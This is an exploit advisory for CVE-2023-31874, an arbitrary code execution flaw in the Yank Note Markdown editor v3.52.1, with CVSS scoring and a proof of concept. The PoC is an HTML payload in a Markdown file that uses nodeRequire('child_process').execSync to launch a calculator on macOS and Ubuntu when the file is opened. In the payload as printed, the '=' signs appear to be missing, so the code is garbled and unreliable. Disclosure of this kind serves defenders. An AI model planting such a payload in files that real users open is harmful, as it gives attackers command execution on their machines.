CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
70.5%
# Exploit Title: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
# Date: 2023-04-27
# Exploit Author: 8bitsec
# CVE: CVE-2023-31874
# Vendor Homepage: yank-note.com
# Software Link: https://github.com/purocean/yn
# Version: 3.52.1
# Tested on: [Ubuntu 22.04 | Mac OS 13]
Release Date: 2023-04-27
Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacement
Technical Details & Description:
A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.
Proof of Concept (PoC):
Arbitrary code execution:
Create a markdown file (.md) in any text editor and write the following payload.
Mac:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">
Ubuntu:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('gnome-calculator').toString());>')>">
Opening the file in Yank Note will auto execute the Calculator application.